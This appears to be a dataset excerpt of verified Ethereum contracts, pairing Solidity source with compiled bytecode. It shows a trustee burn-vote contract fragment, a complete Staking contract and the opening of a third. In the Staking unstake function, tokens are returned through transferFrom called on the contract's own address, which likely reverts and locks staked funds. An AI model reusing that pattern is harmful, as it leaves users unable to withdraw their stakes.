uint threshold = trusteeCount.mod(3) == 0 ? trusteeCount.mul(2).div(3) : trusteeCount.mul(2).div(3).add(diff);
if (p.voteCount >= threshold) {
p.finished = true;
emit BurnProposalSuccess(_tunnelKey, ethHash, btcHash);
}
}
function getTrusteeCount(bytes32 _tunnelKey) internal view returns(uint){
return trustee.getRoleMemberCount(_tunnelKey);
}
modifier onlyTrustee(bytes32 _tunnelKey) {
require(trustee.hasRole(_tunnelKey, msg.sender), "Caller is not trustee");
_;
}
event BurnProposalSuccess(
bytes32 _tunnelKey,
string ethHash,
string btcHash
);
event VoteBurnProposal(
bytes32 _tunnelKey,
string ethHash,
string btcHash,
address voter,
uint256 voteCount
);
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063c0148b9511610066578063c0148b95146100fd578063d0d1ea701461022c578063f2fde38b14610252578063fdf97cb214610278578063ffa0d2a41461028057610093565b80633779123314610098578063715018a6146100b75780638da5cb5b146100bf578063a0d7afb7146100e3575b600080fd5b6100b5600480360360208110156100ae57600080fd5b503561041d565b005b6100b561047a565b6100c761051c565b604080516001600160a01b039092168252519081900360200190f35b6100eb61052b565b60408051918252519081900360200190f35b6100b56004803603606081101561011357600080fd5b81019060208101813564010000000081111561012e57600080fd5b82018360208201111561014057600080fd5b8035906020019184600183028401116401000000008311171561016257600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156101b557600080fd5b8201836020820111156101c757600080fd5b803590602001918460018302840111640100000000831117156101e957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610531915050565b6100b56004803603602081101561024257600080fd5b50356001600160a01b0316610de5565b6100b56004803603602081101561026857600080fd5b50356001600160a01b0316610e5f565b6100c7610f57565b6103266004803603602081101561029657600080fd5b8101906020810181356401000000008111156102b157600080fd5b8201836020820111156102c357600080fd5b803590602001918460018302840111640100000000831117156102e557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610f66945050505050565b60405180806020018060200186815260200185151581526020018415158152602001838103835288818151815260200191508051906020019080838360005b8381101561037d578181015183820152602001610365565b50505050905090810190601f1680156103aa5780820380516001836020036101000a031916815260200191505b50838103825287518152875160209182019189019080838360005b838110156103dd5781810151838201526020016103c5565b50505050905090810190601f16801561040a5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b6104256110c6565b6000546001600160a01b03908116911614610475576040805162461bcd60e51b8152602060048201819052602482015260008051602061149a833981519152604482015290519081900360640190fd5b600355565b6104826110c6565b6000546001600160a01b039081169116146104d2576040805162461bcd60e51b8152602060048201819052602482015260008051602061149a833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60035481565b60025460408051632474521560e21b815260048101849052336024820152905183926001600160a01b0316916391d14854916044808301926020929190829003018186803b15801561058257600080fd5b505afa158015610596573d6000803e3d6000fd5b505050506040513d60208110156105ac57600080fd5b50516105f7576040805162461bcd60e51b815260206004820152601560248201527443616c6c6572206973206e6f74207472757374656560581b604482015290519081900360640190fd5b60608484846040516020018084805190602001908083835b6020831061062e5780518252601f19909201916020918201910161060f565b51815160209384036101000a600019018019909216911617905286519190930192860191508083835b602083106106765780518252601f199092019160209182019101610657565b51815160209384036101000a60001901801990921691161790529201938452506040805180850381529382019081905283519396506001955086945092839250908401908083835b602083106106dd5780518252601f1990920191602091820191016106be565b518151600019602094850361010090810a91909101918216911992909216179091529390910195865260405195869003019094206003015460ff91900416151592506109fa9150505761072e61138c565b6040518060a0016040528087815260200186815260200160018152602001600015158152602001600115158152509050806001836040518082805190602001908083835b602083106107915780518252601f199092019160209182019101610772565b51815160209384036101000a60001901801990921691161790529201948552506040519384900381019093208451805191946107d2945085935001906113bf565b5060208281015180516107eb92600185019201906113bf565b50604082810151600283015560608301516003909201805460809094015115156101000261ff001993151560ff1990951694909417929092169290921790555182516001918291859190819060208401908083835b6020831061085f5780518252601f199092019160209182019101610840565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206004016000336001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055507f9b866022dc1e6b4661f09a53a6dec56561cd5bd73577c577d9db3165b2601e79848787338560400151604051808681526020018060200180602001856001600160a01b03168152602001848152602001838103835287818151815260200191508051906020019080838360005b8381101561095557818101518382015260200161093d565b50505050905090810190601f1680156109825780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b838110156109b557818101518382015260200161099d565b50505050905090810190601f1680156109e25780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a150610bf2565b60006001826040518082805190602001908083835b60208310610a2e5780518252601f199092019160209182019101610a0f565b51815160001960209485036101000a01908116901991909116179052920194855250604080519485900382019094203360009081526004820190925293902054929350505060ff16151560011415610a87575050610ddf565b600381015460ff1615610a9b575050610ddf565b6002810154610aab9060016110ca565b600282019081553360008181526004840160209081526040808320805460ff1916600117905593548451898152606081018590526080810182905260a08184018181528d51918301919091528c517f9b866022dc1e6b4661f09a53a6dec56561cd5bd73577c577d9db3165b2601e79978c978f978f9791969594939285019260c08601928a01918190849084905b83811015610b51578181015183820152602001610b39565b50505050905090810190601f168015610b7e5780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b83811015610bb1578181015183820152602001610b99565b50505050905090810190601f168015610bde5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a1505b60006001826040518082805190602001908083835b60208310610c265780518252601f199092019160209182019101610c07565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220925060009150610c6290508561112d565b90506000610c718260036111ab565b15610c9e5760038054610c9991610c9390610c8d8660026111ed565b90611246565b906110ca565b610cae565b610cae6003610c8d8460026111ed565b905080836002015410610dda5760038301805460ff1916600117905560408051878152606060208083018281528c51928401929092528b517fb989a7f2418d31fd08b700331c6d92827f1ffe1ff8c71486739c6d157a647984948b948e948e949193909284019160808501919087019080838360005b83811015610d3c578181015183820152602001610d24565b50505050905090810190601f168015610d695780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b83811015610d9c578181015183820152602001610d84565b50505050905090810190601f168015610dc95780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a15b505050505b50505050565b610ded6110c6565b6000546001600160a01b03908116911614610e3d576040805162461bcd60e51b8152602060048201819052602482015260008051602061149a833981519152604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b610e676110c6565b6000546001600160a01b03908116911614610eb7576040805162461bcd60e51b8152602060048201819052602482015260008051602061149a833981519152604482015290519081900360640190fd5b6001600160a01b038116610efc5760405162461bcd60e51b81526004018080602001828103825260268152602001806114536026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b8051602081830181018051600180835293830194830194909420939052825460408051600294831615610100026000190190921693909304601f81018390048302820183019093528281529183918301828280156110055780601f10610fda57610100808354040283529160200191611005565b820191906000526020600020905b815481529060010190602001808311610fe857829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110a35780601f10611078576101008083540402835291602001916110a3565b820191906000526020600020905b81548152906001019060200180831161108657829003601f168201915b50505050600283015460039093015491929160ff80821692506101009091041685565b3390565b600082820183811015611124576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b6002546040805163ca15c87360e01b81526004810184905290516000926001600160a01b03169163ca15c873916024808301926020929190829003018186803b15801561117957600080fd5b505afa15801561118d573d6000803e3d6000fd5b505050506040513d60208110156111a357600080fd5b505192915050565b600061112483836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250611288565b6000826111fc57506000611127565b8282028284828161120957fe5b04146111245760405162461bcd60e51b81526004018080602001828103825260218152602001806114796021913960400191505060405180910390fd5b600061112483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611327565b600081836113145760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112d95781810151838201526020016112c1565b50505050905090810190601f1680156113065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082848161131e57fe5b06949350505050565b600081836113765760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112d95781810151838201526020016112c1565b50600083858161138257fe5b0495945050505050565b6040518060a001604052806060815260200160608152602001600081526020016000151581526020016000151581525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061140057805160ff191683800117855561142d565b8280016001018555821561142d579182015b8281111561142d578251825591602001919060010190611412565b5061143992915061143d565b5090565b5b80821115611439576000815560010161143e56fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122075dcbad0c29e98b1c7af523a04f507d7378d539a4622e260f04375f8bab1fa4a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,758 |
0x786b7942e5568b54f711655a721fe5e1c2474539
|
/**
*Submitted for verification at Etherscan.io on 2021-02-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library BasisPoints {
using SafeMath for uint;
uint constant private BASIS_POINTS = 10000;
function mulBP(uint amt, uint bp) internal pure returns (uint) {
if (amt == 0) return 0;
return amt.mul(bp).div(BASIS_POINTS);
}
function divBP(uint amt, uint bp) internal pure returns (uint) {
require(bp > 0, "Cannot divide by zero.");
if (amt == 0) return 0;
return amt.mul(BASIS_POINTS).div(bp);
}
function addBP(uint amt, uint bp) internal pure returns (uint) {
if (amt == 0) return 0;
if (bp == 0) return amt;
return amt.add(mulBP(amt, bp));
}
function subBP(uint amt, uint bp) internal pure returns (uint) {
if (amt == 0) return 0;
if (bp == 0) return amt;
return amt.sub(mulBP(amt, bp));
}
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Staking is Context, Ownable {
using BasisPoints for uint;
using SafeMath for uint;
uint256 constant internal DISTRIBUTION_MULTIPLIER = 2 ** 64;
IERC20 private token;
mapping(address => uint) public stakeValue;
mapping(address => int) public stakerPayouts;
uint public totalDistributions;
uint public totalStaked;
uint public totalStakers;
uint public profitPerShare;
uint private emptyStakeTokens; //These are eth given to the contract when there are no stakers.
uint public startTime;
event OnDistribute(address sender, uint amountSent);
event OnStake(address sender, uint amount);
event OnUnstake(address sender, uint amount);
event OnReinvest(address sender, uint amount);
event OnWithdraw(address sender, uint amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping(address => Checkpoint[]) internal stakeValueHistory;
Checkpoint[] internal totalStakedHistory;
modifier whenStakingActive {
require(startTime != 0 && now > startTime, "Staking not yet started.");
_;
}
constructor(IERC20 _token) public {
token = _token;
}
function setStartTime(uint _startTime) external onlyOwner {
startTime = _startTime;
}
function stake(uint amount) public whenStakingActive {
require(token.balanceOf(msg.sender) >= amount, "Cannot stake more Tokens than you hold unstaked.");
if (stakeValue[msg.sender] == 0) totalStakers = totalStakers.add(1);
_addStake(amount);
require(token.transferFrom(msg.sender, address(this), amount), "Stake failed due to failed transfer.");
emit OnStake(msg.sender, amount);
}
function unstake(uint amount) external whenStakingActive {
require(stakeValue[msg.sender] >= amount, "Cannot unstake more Token than you have staked.");
// Update staker's history
_updateCheckpointValueAtNow(
stakeValueHistory[msg.sender],
stakeValue[msg.sender],
stakeValue[msg.sender].sub(amount)
);
// Update total staked history
_updateCheckpointValueAtNow(
totalStakedHistory,
totalStaked,
totalStaked.sub(amount)
);
//must withdraw all dividends, to prevent overflows
withdraw(dividendsOf(msg.sender));
if (stakeValue[msg.sender] == amount) totalStakers = totalStakers.sub(1);
totalStaked = totalStaked.sub(amount);
stakeValue[msg.sender] = stakeValue[msg.sender].sub(amount);
stakerPayouts[msg.sender] = uintToInt(profitPerShare.mul(stakeValue[msg.sender]));
require(token.transferFrom(address(this), msg.sender, amount), "Unstake failed due to failed transfer.");
emit OnUnstake(msg.sender, amount);
}
function withdraw(uint amount) public whenStakingActive {
require(dividendsOf(msg.sender) >= amount, "Cannot withdraw more dividends than you have earned.");
stakerPayouts[msg.sender] = stakerPayouts[msg.sender] + uintToInt(amount.mul(DISTRIBUTION_MULTIPLIER));
msg.sender.transfer(amount);
emit OnWithdraw(msg.sender, amount);
}
function distribute() external payable {
uint amount = msg.value;
if(amount > 0){
totalDistributions = totalDistributions.add(amount);
_increaseProfitPerShare(amount);
emit OnDistribute(msg.sender, amount);
}
}
function dividendsOf(address staker) public view returns (uint) {
int divPayout = uintToInt(profitPerShare.mul(stakeValue[staker]));
require(divPayout >= stakerPayouts[staker], "dividend calc overflow");
return uint(divPayout - stakerPayouts[staker])
.div(DISTRIBUTION_MULTIPLIER);
}
function totalStakedAt(uint _blockNumber) public view returns(uint) {
// If we haven't initialized history yet
if (totalStakedHistory.length == 0) {
// Use the existing value
return totalStaked;
} else {
// Binary search history for the proper staked amount
return _getCheckpointValueAt(
totalStakedHistory,
_blockNumber
);
}
}
function stakeValueAt(address _owner, uint _blockNumber) public view returns (uint) {
// If we haven't initialized history yet
if (stakeValueHistory[_owner].length == 0) {
// Use the existing latest value
return stakeValue[_owner];
} else {
// Binary search history for the proper staked amount
return _getCheckpointValueAt(stakeValueHistory[_owner], _blockNumber);
}
}
function uintToInt(uint val) internal pure returns (int) {
if (val >= uint(-1).div(2)) {
require(false, "Overflow. Cannot convert uint to int.");
} else {
return int(val);
}
}
function _addStake(uint _amount) internal {
// Update staker's history
_updateCheckpointValueAtNow(
stakeValueHistory[msg.sender],
stakeValue[msg.sender],
stakeValue[msg.sender].add(_amount)
);
// Update total staked history
_updateCheckpointValueAtNow(
totalStakedHistory,
totalStaked,
totalStaked.add(_amount)
);
totalStaked = totalStaked.add(_amount);
stakeValue[msg.sender] = stakeValue[msg.sender].add(_amount);
uint payout = profitPerShare.mul(_amount);
stakerPayouts[msg.sender] = stakerPayouts[msg.sender] + uintToInt(payout);
}
function _increaseProfitPerShare(uint amount) internal {
if (totalStaked != 0) {
if (emptyStakeTokens != 0) {
amount = amount.add(emptyStakeTokens);
emptyStakeTokens = 0;
}
profitPerShare = profitPerShare.add(amount.mul(DISTRIBUTION_MULTIPLIER).div(totalStaked));
} else {
emptyStakeTokens = emptyStakeTokens.add(amount);
}
}
function _getCheckpointValueAt(Checkpoint[] storage checkpoints, uint _block) view internal returns (uint) {
// This case should be handled by caller
if (checkpoints.length == 0)
return 0;
// Use the latest checkpoint
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
// Use the oldest checkpoint
if (_block < checkpoints[0].fromBlock)
return checkpoints[0].value;
// Binary search of the value in the array
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function _updateCheckpointValueAtNow(
Checkpoint[] storage checkpoints,
uint _oldValue,
uint _value
) internal {
require(_value <= uint128(-1));
require(_oldValue <= uint128(-1));
if (checkpoints.length == 0) {
Checkpoint storage genesis = checkpoints[checkpoints.length++];
genesis.fromBlock = uint128(block.number - 1);
genesis.value = uint128(_oldValue);
}
if (checkpoints[checkpoints.length - 1].fromBlock < block.number) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1];
oldCheckPoint.value = uint128(_value);
}
}
}
|
0x6080604052600436106101085760003560e01c80638650e92a11610095578063c9c5323211610064578063c9c53232146102e4578063d7a88e3c1461030e578063e4fc6b6d14610341578063f2fde38b14610349578063fc8690a21461037c57610108565b80638650e92a1461025f57806386989038146102745780638da5cb5b14610289578063a694fc3a146102ba57610108565b80633e0a322d116100dc5780633e0a322d146101bd5780636921091a146101e7578063715018a61461022057806378e9792514610235578063817b1cd21461024a57610108565b806265318b1461010d578063163db71b146101525780632e17de78146101675780632e1a7d4d14610193575b600080fd5b34801561011957600080fd5b506101406004803603602081101561013057600080fd5b50356001600160a01b03166103af565b60408051918252519081900360200190f35b34801561015e57600080fd5b50610140610486565b34801561017357600080fd5b506101916004803603602081101561018a57600080fd5b503561048c565b005b34801561019f57600080fd5b50610191600480360360208110156101b657600080fd5b5035610736565b3480156101c957600080fd5b50610191600480360360208110156101e057600080fd5b5035610874565b3480156101f357600080fd5b506101406004803603604081101561020a57600080fd5b506001600160a01b0381351690602001356108e3565b34801561022c57600080fd5b5061019161094a565b34801561024157600080fd5b506101406109fe565b34801561025657600080fd5b50610140610a04565b34801561026b57600080fd5b50610140610a0a565b34801561028057600080fd5b50610140610a10565b34801561029557600080fd5b5061029e610a16565b604080516001600160a01b039092168252519081900360200190f35b3480156102c657600080fd5b50610191600480360360208110156102dd57600080fd5b5035610a26565b3480156102f057600080fd5b506101406004803603602081101561030757600080fd5b5035610c6b565b34801561031a57600080fd5b506101406004803603602081101561033157600080fd5b50356001600160a01b0316610c90565b610191610ca2565b34801561035557600080fd5b506101916004803603602081101561036c57600080fd5b50356001600160a01b0316610d07565b34801561038857600080fd5b506101406004803603602081101561039f57600080fd5b50356001600160a01b0316610e11565b6001600160a01b03811660009081526002602052604081205460075482916103e5916103e09163ffffffff610e2316565b610e7c565b6001600160a01b03841660009081526003602052604090205490915081121561044e576040805162461bcd60e51b81526020600482015260166024820152756469766964656e642063616c63206f766572666c6f7760501b604482015290519081900360640190fd5b6001600160a01b03831660009081526003602052604090205461047d908203600160401b63ffffffff610ed516565b9150505b919050565b60045481565b6009541580159061049e575060095442115b6104ea576040805162461bcd60e51b815260206004820152601860248201527729ba30b5b4b733903737ba103cb2ba1039ba30b93a32b21760411b604482015290519081900360640190fd5b336000908152600260205260409020548111156105385760405162461bcd60e51b815260040180806020018281038252602f815260200180611590602f913960400191505060405180910390fd5b336000908152600a6020908152604080832060029092529091205461056d9190610568818563ffffffff610f1716565b610f59565b60055461058790600b90610568818563ffffffff610f1716565b610598610593336103af565b610736565b336000908152600260205260409020548114156105c7576006546105c390600163ffffffff610f1716565b6006555b6005546105da908263ffffffff610f1716565b600555336000908152600260205260409020546105fd908263ffffffff610f1716565b336000908152600260205260409020819055600754610626916103e0919063ffffffff610e2316565b3360008181526003602090815260408083209490945560015484516323b872dd60e01b815230600482015260248101949094526044840186905293516001600160a01b03909416936323b872dd93606480820194918390030190829087803b15801561069157600080fd5b505af11580156106a5573d6000803e3d6000fd5b505050506040513d60208110156106bb57600080fd5b50516106f85760405162461bcd60e51b815260040180806020018281038252602681526020018061156a6026913960400191505060405180910390fd5b604080513381526020810183905281517fb9d33f227f3fa1826b0e39a934bcee3835b3332a74d0b2c2589ec8fc94c2b11f929181900390910190a150565b60095415801590610748575060095442115b610794576040805162461bcd60e51b815260206004820152601860248201527729ba30b5b4b733903737ba103cb2ba1039ba30b93a32b21760411b604482015290519081900360640190fd5b8061079e336103af565b10156107db5760405162461bcd60e51b81526004018080602001828103825260348152602001806114eb6034913960400191505060405180910390fd5b6107f26103e082600160401b63ffffffff610e2316565b336000818152600360205260408082208054949094019093559151909183156108fc02918491818181858888f19350505050158015610835573d6000803e3d6000fd5b50604080513381526020810183905281517fbace9fd79d5ea02ed8b43fa96af07e4e8f859a2f71ff878c748f5c22c5780284929181900390910190a150565b61087c6110a7565b6000546001600160a01b039081169116146108de576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600955565b6001600160a01b0382166000908152600a602052604081205461091f57506001600160a01b038216600090815260026020526040902054610944565b6001600160a01b0383166000908152600a6020526040902061094190836110ab565b90505b92915050565b6109526110a7565b6000546001600160a01b039081169116146109b4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60095481565b60055481565b60075481565b60065481565b6000546001600160a01b03165b90565b60095415801590610a38575060095442115b610a84576040805162461bcd60e51b815260206004820152601860248201527729ba30b5b4b733903737ba103cb2ba1039ba30b93a32b21760411b604482015290519081900360640190fd5b600154604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610ace57600080fd5b505afa158015610ae2573d6000803e3d6000fd5b505050506040513d6020811015610af857600080fd5b50511015610b375760405162461bcd60e51b81526004018080602001828103825260308152602001806115e06030913960400191505060405180910390fd5b33600090815260026020526040902054610b6357600654610b5f90600163ffffffff6111e016565b6006555b610b6c8161123a565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610bc657600080fd5b505af1158015610bda573d6000803e3d6000fd5b505050506040513d6020811015610bf057600080fd5b5051610c2d5760405162461bcd60e51b81526004018080602001828103825260248152602001806114c76024913960400191505060405180910390fd5b604080513381526020810183905281517fba7a4fcc259e92765d167230b14c7e70479648b69f2a5adcc2b15c372806ec20929181900390910190a150565b600b54600090610c7e5750600554610481565b610c89600b836110ab565b9050610481565b60026020526000908152604090205481565b348015610d0457600454610cbc908263ffffffff6111e016565b600455610cc881611306565b604080513381526020810183905281517f3b5b764958bcf10eae6e214b635b729c52c8a4962688629cf597c3167cca2022929181900390910190a15b50565b610d0f6110a7565b6000546001600160a01b03908116911614610d71576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610db65760405162461bcd60e51b815260040180806020018281038252602681526020018061151f6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60036020526000908152604090205481565b600082610e3257506000610944565b82820282848281610e3f57fe5b04146109415760405162461bcd60e51b81526004018080602001828103825260218152602001806115bf6021913960400191505060405180910390fd5b6000610e91600019600263ffffffff610ed516565b8210610ece5760405162461bcd60e51b81526004018080602001828103825260258152602001806115456025913960400191505060405180910390fd5b5080610481565b600061094183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061138d565b600061094183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061142f565b6001600160801b03811115610f6d57600080fd5b6001600160801b03821115610f8157600080fd5b8254610fe05782546000908490610f9b8260018301611489565b81548110610fa557fe5b600091825260209091200180546001600160801b03858116600160801b02600019430182166001600160801b03199093169290921716179055505b8254439084906000198101908110610ff457fe5b6000918252602090912001546001600160801b0316101561106857825460009084906110238260018301611489565b8154811061102d57fe5b600091825260209091200180546001600160801b03848116600160801b024382166001600160801b03199093169290921716179055506110a2565b82546000908490600019810190811061107d57fe5b600091825260209091200180546001600160801b03808516600160801b029116179055505b505050565b3390565b81546000906110bc57506000610944565b8254839060001981019081106110ce57fe5b6000918252602090912001546001600160801b0316821061111e578254839060001981019081106110fb57fe5b600091825260209091200154600160801b90046001600160801b03169050610944565b8260008154811061112b57fe5b6000918252602090912001546001600160801b031682101561115457826000815481106110fb57fe5b8254600090600019015b818111156111af57600060026001838501010490508486828154811061118057fe5b6000918252602090912001546001600160801b0316116111a2578092506111a9565b6001810391505b5061115e565b8482815481106111bb57fe5b600091825260209091200154600160801b90046001600160801b031695945050505050565b600082820183811015610941576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b336000908152600a6020908152604080832060029092529091205461126a9190610568818563ffffffff6111e016565b60055461128490600b90610568818563ffffffff6111e016565b600554611297908263ffffffff6111e016565b600555336000908152600260205260409020546112ba908263ffffffff6111e016565b336000908152600260205260408120919091556007546112e0908363ffffffff610e2316565b90506112eb81610e7c565b33600090815260036020526040902080549190910190555050565b6005541561137457600854156113325760085461132a90829063ffffffff6111e016565b600060085590505b60055461136c9061135d9061135184600160401b63ffffffff610e2316565b9063ffffffff610ed516565b6007549063ffffffff6111e016565b600755610d04565b600854611387908263ffffffff6111e016565b60085550565b600081836114195760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113de5781810151838201526020016113c6565b50505050905090810190601f16801561140b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161142557fe5b0495945050505050565b600081848411156114815760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156113de5781810151838201526020016113c6565b505050900390565b8154818355818111156110a2576000838152602090206110a2918101908301610a2391905b808211156114c257600081556001016114ae565b509056fe5374616b65206661696c65642064756520746f206661696c6564207472616e736665722e43616e6e6f74207769746864726177206d6f7265206469766964656e6473207468616e20796f752068617665206561726e65642e4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f766572666c6f772e2043616e6e6f7420636f6e766572742075696e7420746f20696e742e556e7374616b65206661696c65642064756520746f206661696c6564207472616e736665722e43616e6e6f7420756e7374616b65206d6f726520546f6b656e207468616e20796f752068617665207374616b65642e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616e6e6f74207374616b65206d6f726520546f6b656e73207468616e20796f7520686f6c6420756e7374616b65642ea265627a7a723158209f9fbf6b43d13b60ace593203adb932af9b95a1255ebeb68cfc273e58113bfc664736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 8,759 |
0xe2d23fc3ea78bf15730a8a727d823679454adb89
|
/**
*Submitted for verification at Etherscan.io on 2020-10-08
*/
pragma solidity >=0.7.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
